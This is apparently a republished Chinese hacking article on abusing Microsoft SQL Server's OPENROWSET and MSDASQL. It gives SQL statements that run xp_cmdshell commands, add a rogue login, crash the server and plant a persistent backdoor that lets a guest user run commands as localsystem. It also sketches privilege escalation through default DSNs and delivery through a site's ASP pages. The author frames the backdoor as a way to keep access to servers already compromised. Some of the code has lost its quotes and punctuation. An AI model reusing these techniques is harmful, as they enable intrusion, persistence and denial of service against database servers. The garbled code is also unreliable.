下面我要談到一些Sqlserver新的Bug雖然本人經過長時間的努力當然也有點幸運的成分在內才得以發現不敢一個人獨享拿出來請大家鑒別
．關於Openrowset和Opendatasource
可能這個技巧早有人已經會了就是利用openrowset發送本地命令通常我們的用法是（包括MSDN的列子）如下
select * from openrowset(sqloledbmyserver;sa;select * from table)
可見（即使從字面意義上看)openrowset只是作為一個快捷的遠程數據庫訪問它必須跟在select後面也就是說需要返回一個recordset
那麼我們能不能利用它調用XP_cmdshell呢？答案是肯定的！
select * from openrowset(sqloledbserver;sa;set fmtonly off
exec masterdboXP_cmdshel l dir c:\)
必須加上setfmtonlyoff用來屏蔽默認的只返回列信息的設置這樣XP_cmdshell返回的output集合就會提交給前面的select顯示如果采用默認設置會返回空集合導致select出錯命令也就無法執行了
那麼如果我們要調用sp_addlogin呢他不會像XP_cmdshell返回任何集合的我們就不能再依靠fmtonly設置了可以如下操作
select * from openrowset(sqloledbserver;sa;select OK!
exec masterdbosp_addlogin Hectic)
這樣命令至少會返回select OK!的集合你的機器商會顯示OK!同時對方的數據庫內也會增加一個Hectic的賬號也就是說我們利用select OK!的返回集合欺騙了本地的select請求是命令能夠正常執行通理sp_addsrvrolemember和opendatasource也可以如此操作！至於這個方法真正的用處大家慢慢想吧
．關於Msdasql兩次請求的問題
不知道大家有沒有試過用msdasql連接遠程數據庫當然這個api必須是sqlserver的管理員才可以調用那麼如下
select * from openrowset(msdasqldriver={sql server};server=server;address=server;uid=sa;pwd=;database=master;network=dbmssocns
elect * from table select * from table)
當table和table的字段數目不相同時你會發現對方的sqlserver崩潰了連本地連接都會失敗而系統資源占用一切正常用pskill殺死 sqlserver進程後如果不重啟機器sqlserver要麼無法正常啟動要麼時常出現非法操作我也只是碰巧找到這個bug的具體原因我還沒有摸透而且很奇怪的是這個現象只出現在msdasql上sqloledb就沒有這個問題看來問題不是在於請求集合數目和返回集合數目不匹配上應該還是msdasql本身的問題具體原因大家一起慢慢研究吧
．可怕的後門
以前在網上看到有人說在 sqlserver上留後門可以通過添加trigerjobs或改寫sp_addlogin和sp_addsrvrolemember做到這些方法當然可行但是很容易會被發現不知道大家有沒有想過sqloledb的本地連接映射呵呵比如你在對方的sqlserver上用sqlserver的管理員賬號執行如下的命令
select * from openrowset(sqloledbtrusted_connection=yes;data source=Hecticset fmtonly off exec masterXP_cmdshell dir c:\)
這樣在對方的sqlserver上建立了一個名為Hectic的本地連接映射只要sqlserver不重啟這個映射會一直存在下去至少我現在還不知道如何發現別人放置的連接映射好了以上的命令運行過後你會發現哪怕是sqlserver沒有任何權限的guest用戶運行以上這條命令也一樣能通過！而且權限是 localsystem！（默認安裝）呵呵！這個方法可以用來在以被入侵過獲得管理員權限的sqlserver上留下一個後門了以上的方法在 sqlserver sqlserverSP上通過！
另外還有一個猜測不知道大家有沒有注意過windows默認附帶的兩個dsn一個是localserver一個是msqi這兩個在建立的時候是本地管理員賬號連接sqlserver的如果對方的 sqlserver是通過自定義的power user啟動那麼sa的權限就和power user一樣很難有所大作為但是我們通過如下的命令
select * from openrowset
(msdasqldsn=locaserver;trusted_connection=yesset fmtonly off execmasterXP_cmdshell dir c:\)
應該可以利用localserver的管理員賬號連接本地sqlserver然後再以這個賬號的權限執行本地命令了這是後我想應該能突破sa那個power user權限了現在的問題是sqloledb無法調用dsn連接而msdasql非管理員不讓調用所以我現在正在尋找guest調用msdasql 的方法
如果有人知道這個bug如何突破或有新的想法我們可以一起討論一下這個發放如果能成功被guest利用將會是一個很嚴重的安全漏洞因為我們前面提到的任何sql語句都可以提交給對方的ASP去幫我們執行
From:http://tw.wingwit.com/Article/program/SQL/201311/16324.html
